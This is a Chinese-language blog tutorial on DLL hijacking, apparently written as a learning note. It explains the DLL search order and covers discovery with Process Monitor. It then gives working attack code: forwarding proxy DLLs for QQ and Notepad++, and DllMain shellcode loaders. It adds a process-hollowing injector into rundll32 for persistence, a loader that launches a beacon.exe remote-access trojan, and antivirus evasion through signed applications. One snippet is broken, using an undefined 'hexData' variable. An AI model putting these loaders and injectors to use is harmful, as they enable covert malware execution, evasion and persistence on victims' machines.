0%

初探DLL劫持

image-20220824021558426

前言

浅学DLL相关

环境配置

什么是DLL

DLL。在WIndows中DLL(Dynamic link library,动态链接库)是一个共享的库,其中包含可同时由多个程序使用的代码和数据,对常用函数和功能进行封装,这些DLL可实现不同的功能,每个DLL的功能实现可通过 导出函数来提供调用接口,在Windows的不同系统目录中存在大量的DLL文件,应用程序在实现时相应的功能时会调用这些DLL程序。

动态库:在使用动态库时,往往提供两个文件:一个引入库(.lib,非必须)和一个.dll文件。.lib文件包含该动态库导出的函数和变量的符号名,而.dll文件包含该动态库实际的函数和数据。

DLL函数

在实现dll之前先搞懂几个预置的概念,dll文件所实现的功能是它的函数所提供的,分为两种:一、入口函数(DllMain),二、导出函数。

  • DllMain

动态链接库的可选入口点 (DLL) 。 当系统启动或终止进程或线程时,它会使用进程的第一个线程调用每个已加载 DLL 的入口点函数。 当使用 LoadLibrary 和 FreeLibrary 函数加载或卸载 DLL 时,系统还会调用 DLL 的入口点函数。

不是必须的函数,而且我们可以在不同的调用模式下写入我们自己的代码。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
BOOL APIENTRY DllMain( HMODULE hModule, // DLL模块的句柄
DWORD ul_reason_for_call, // 调用函数的原因
LPVOID lpReserved // 保留参数
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 进程加载DLL触发( LoadLibraryA)
{ printf("DLL_PROCESS_ATTACH!\n");
WinExec("cmd.exe", 0); break; }
case DLL_THREAD_ATTACH: // 进程创建新线程加载触发(CreateThread)
{ break; }
case DLL_THREAD_DETACH: // 线程正常退出(CreateThread-Return)
{ break; }
case DLL_PROCESS_DETACH: // 进程卸载DLL(函数:FreeLibrary、FreeLibraryAndExitThread)
{ break; }
}
return TRUE;
}
  • 导出函数

将我们写的函数导出的方式有两种:一、使用 __declspec(dllexport) ,二、使用模块定义(.def)文件。这里只记录一下第一种。

mydll.c,在函数前加上关键字__declspec(dllexport)

__declspec(dllexport) void calc(){
system("cmd /c calc");
}

另外我们可以使用 dumpbin 命令查看dll文件的导出函数

dumpbin mydll.dll /exports

image-20220815161028072

针对于C++编译器,编译后的函数名为 fnDll2@xxxxx ,这是因为c++编译器基于函数重载的考虑,会更改函数名,为了避免这种现象,可以使用 extern “C” 指令来命令c++编译器以c编译器的方式来命名该函数

extern "C" __declspec(dllexport) void calc(){
system("cmd /c calc");
}

image-20220815172231208

DLL创建

命令行

利用微软cl.exe,将mydll.c编译成dll文件

cl mydll.c /LD

多了lib文件和dll文件

image-20220815161203906

VS

提供两种

image-20220815162302951

选择具有导出项的动态链接库,编写恶意代码。

image-20220815163409170

加载DLL

dll的加载有两种方式

  • 隐式调用(load-time dynamic linking)也叫静态链接

使用 #include <xxx.h>**导入头文件和 **#pragma comment(lib, “xxx.lib”) 导入链接库文件

#include "testDLL.h"
#pragma comment(lib,"testDLL.lib")

右键解决方案,添加新建控制台应用,项目名称为Test,编写程序调用dll中的函数。ctrl+f5运行。

image-20220815173612769

如果调用的函数在恶意dll文件中不存在,程序会报出错误,并且也不会执行DllMain函数

  • 显式调用(run-time dynamic linking)也叫动态链接

通过 LoadLiabrary 函数显示加载dll。需要注意的是这时候我们不再需要注册.lib文件,也不需要声明外部函数。只要在需要使用的地方调用dll文件即可。

int main()
{
typedef void(*DLLFUNC)(void); //定义函数指针
DLLFUNC func = NULL;

HINSTANCE DLL = LoadLibrary(L"Dll2.dll"); //DLL句柄
if (DLL != NULL) {
func = (DLLFUNC)GetProcAddress(DLL, "?fnDll2@@YAHXZ"); //获取函数地址
if (func != NULL) {
func(); //调用
}
FreeLibrary(DLL);
}
printf("test123"); //卸载dll

}

有个注意的点,这里要使用被修饰的函数名

image-20220815180738493

修改.h文件即可使用原函数名

extern "C" __declspec(dllexport) int fnDll2(void);

image-20220815180925346

即使调用了不存在的函数,不会报错,也 会执行DllMain函数

DLL劫持

如果在进程尝试加载一个DLL时没有并没有 指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录来查找这个DLL,如果攻击者能够将恶意的DLL放在优先于正常DLL所在的目录,那么就能够欺骗系统去加载恶意的DLL。

DLL加载顺序

在程序通过上述两种方式加载DLL时,都会进行DLL的搜索。会加载搜索过程中找到的第一个名称正确的DLL。系统搜索DLL之前,它会检查以下内容,如果已经存在了就不会搜索DLL:

  • 如果内存中已经加载了具有相同模块名称的 DLL

  • KnownDLLs注册表项(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)

上面都没有找到DLL的情况下,如果启用了 SafeDllSearchMode, 就按照如下搜索顺序搜索:

  • 应用程序加载目录(安装目录)

  • 系统目录(C:\Windows\System32,使用 GetSystemDirectory 函数获取)

  • 16 位系统目录(C:\Windows\System)

  • Windows 目录(C:\Windows,使用 GetWindowsDirectory函数获取)

  • 当前目录

  • PATH 环境变量中列出的目录

如果 SafeDllSearchMode 已禁用,则搜索顺序如下:

  • 应用程序加载目录(安装目录)

  • 当前目录

  • 系统目录(C:\Windows\System32,使用 GetSystemDirectory 函数获取)

  • 16 位系统目录(C:\Windows\System)

  • Windows 目录(C:\Windows,使用 GetWindowsDirectory函数获取)

  • PATH 环境变量中列出的目录

PS: Windows操作系统通过 DLL路径搜索目录顺序Know DLLs注册表项 的机制来确定应用程序所要调用的DLL的路经,之后,应用程序就将DL_L载入了自己的内存空间,执行相应的函数功能。

Know DLLs注册表项 指定的DLL 是已经被操作系统加载过后的DLL,不会被应用程序搜索并加载。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

DLL劫持发现

Process Monitor

利用 Process Monitor 手动挖掘,设置为:

允许这些

Operation is CreateFile
Operation is Load Image
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

排除这些

Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

运行上面编译生成的exe,目录下没有dll文件单独执行,按照加载顺序进行加载dll文件,其次存在 LoadLibrary(Ex) 说明该dll文件是被进程动态加载,这样直接使用恶意dllmain函数的dll文件即可利用。

image-20220816011747152

这里拿notepad++6.6.6试试,发现直接就加载当前目录下的SciLexer.dll

image-20220816022407377

写一个dll,尝试在DllMain函数中弹个计算器,替换后执行exe

image-20220816022657161

虽然成功加载Dllmain函数进行劫持,但是缺点也很明显,当调用后续函数时,报错没法执行,为了解决这种情况,下面要学一下DLL中的转发,悄无声息的执行我们的代码。

自动化工具

ImpulsiveDLLHijack、Rattler、Robber等

image-20220816014408409

其他方式

发现个骚的手法,单独把exe拉出来运行,看报什么错

image-20220816014644209

或者本目录下排除法删除dll文件,加载中的DLL因为句柄占用无法删除。

image-20220816023026821

DLL劫持利用

替换dll

submitline,加载当前目录下的dbghelp.dll。写个同名恶意dll即可利用

image-20220822144647915

转发劫持

利用工具创建出具有转发功能的恶意dll,在程序调用某个函数时,先调用恶意dll,再转发调用原始dll中的函数,这里就分为两种,直接转发与即时调用,直接转发的利用方式只能在DllMain中利用,即时调用是在恶意dll中加载原始dll中某个函数的地址,然后进行调用,这样可以在恶意dll中创建同名函数,插入恶意代码,然后进行寻址调用,达到转发目的。

这里利用工具:AheadLib修改 支持x64支持类/命名空间

直接转发

以QQ为例子,对libuv.dll进行转发,AheadLib+生成一个cpp文件

image-20220823004503216

vs 新建 DLL项目后,添加上代码,可以看到原dll文件有许多导出函数 ,通过这句话实现函数的转发

#pragma comment(linker, "/EXPORT:Scintilla_DirectFunction=SciLexerOrg.Scintilla_DirectFunction,@1")

main函数加上代码,生成32位的dll

image-20220823004354009

改变原dll文件名,Org为原始dll。

image-20220823004442303

双击qq弹出计算器

这种方法会出现一种情况,虽然先调用了恶意dll后转发到原始dll,但是不清楚主程序的需求是什么可能是一个返回值,也可能参数不正确,这个时候都会导致主程序运行出错。

image-20220823005011353

即时调用

说白了就是在恶意dll文件中多加几行代码,LoadLibrary原始dll后通过GetAddress获取函数地址,然后跳到导出函数的地址,实现在恶意dll中进行调用原始函数

image-20220823010058231

main函数中调用load函数

image-20220823010341471

加载原始dll文件后调用 InitializeAddresses

image-20220823010409242

InitializeAddresses 获取原函数地址

image-20220823010504677

当通过调用函数时,进行转发到 _AheadLib_Scintilla_DirectFunction

#pragma comment(linker, "/EXPORT:Scintilla_DirectFunction=_AheadLib_Scintilla_DirectFunction,@1")

这个就是通过上面的原函数地址进行跳转调用

image-20220823010612582

效果:payload执行并且不影响正常使用

image-20220823010231062

一种更加通用的方式

参考文章:一种通用DLL劫持技术研究-编程技术-看雪论坛

void* NtCurrentPeb()
{
__asm {
mov eax, fs:[0x30];
}
}
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
__asm {
mov eax, peb;
mov eax, [eax + 0xc];
}
}
VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
{
WCHAR wszDllName[100] = { 0 };
void* peb = NtCurrentPeb();
PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
entry = entry->Blink) {
PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

memset(wszDllName, 0, 100 * 2);
memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);

if (!_wcsicmp(wszDllName, dllname)) {
data->DllBase = hMod;
break;
}
}
}
VOID DllHijack(HMODULE hMod)
{
TCHAR tszDllPath[MAX_PATH] = { 0 };

GetModuleFileName(hMod, tszDllPath, MAX_PATH);
PathRemoveFileSpec(tszDllPath);
PathAppend(tszDllPath, TEXT("mydll.dll.1"));

HMODULE hMod1 = LoadLibrary(tszDllPath);

SuperDllHijack(L"mydll.dll", hMod1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DllHijack(hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

但是本地库函里参数变更,没法实验。

实际利用

白加黑

杀软在检测一个应用是否为病毒的时候,首先会通过黑白名单校验-病毒特征库查询-上传云查杀,在黑白名单校验阶段,如果是白名单中的应用则可以成功运行,白名单也就是有数字签名的应用,我们可以通过修改有数字签名应用中的dll,当该应用启动时会调用该dll,从而执行恶意代码。

DLL加载上线

生成shellcode

image-20220823233332667

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] = "shellcode";
size_t size = sizeof(buf);
char* inject = (char *)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}

没做免杀,会报毒,而且这里利用线程去加载shellcode,当qq退出时就会下线,通过dll注入技术,注入迁移到其他进程

深入理解反射式dll注入技术 - FreeBuf网络安全行业门户

DLL注入的8种姿势_dajiiii的博客dll注入

img

这里借鉴一下其他师傅的注入代码

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char hexData[] = "(shellcode)";
char* v7A = (char*)VirtualAlloc(0, _countof(hexData),0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0,(LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo,&ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

注入成功,关闭QQ也可达到权限维持目的

image-20220824010754724

而且shellcode没有做免杀竟然没有报毒

image-20220824012022017

还有搭配图片的,项目地址:DKMC - Dont kill my cat - Malicious payload evasion tool

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
FILE* fp; // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
size_t size; // 定义文件字节数变量size
unsigned char* buffer; // 定义缓存指针变量
fp = fopen("cloudmusic.bmp", "rb");// fseek()负号前移,正号后移
fseek(fp, 0, SEEK_END); // 文件指针指向文件末尾
// ftell()返回给定流 stream 的当前文件位置
size = ftell(fp); // size值为文件大小
fseek(fp, 0, SEEK_SET); // 文件指针指向文件开头
buffer = (unsigned char*)malloc(size); // 动态申请图片大小的内存空间(数组指针)
fread(buffer, size, 1, fp); // 从fp读取和显示1个size大小的数据
char* v7A = (char*)VirtualAlloc(0, _countof(hexData),0x3000u, 0x40u);
memcpy((void*)v7A, hexData, _countof(hexData));
struct _PROCESS_INFORMATION ProcessInformation;
struct _STARTUPINFOA StartupInfo;
void* v24;
CONTEXT Context;
DWORD DwWrite = 0;
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
BOOL result = CreateProcessA(0,(LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo,&ProcessInformation);
if (result)
{
Context.ContextFlags = 65539;
GetThreadContext(ProcessInformation.hThread, &Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
Context.Eip = (DWORD)v24;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
result = CloseHandle(ProcessInformation.hProcess);
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}

文件关联程序DLL劫持

挖掘默认文件相关联应用程序存不存在dll劫持,比如打开图片,默认为某种看图软件,当双击图片便加载dll

加载exe

上传一个exe(做好免杀),dll加载去执行远控木马

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("C:\\Users\\win7\\Desktop\\shellcode\\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}

return TRUE;
}

权限提升

这部分就是关于windows提权中的设置,感觉多是一些CVE等。

参考

文章-基础

文章-提升

视频

Attack

用到的工具

  • Rattler
  • Aheadlib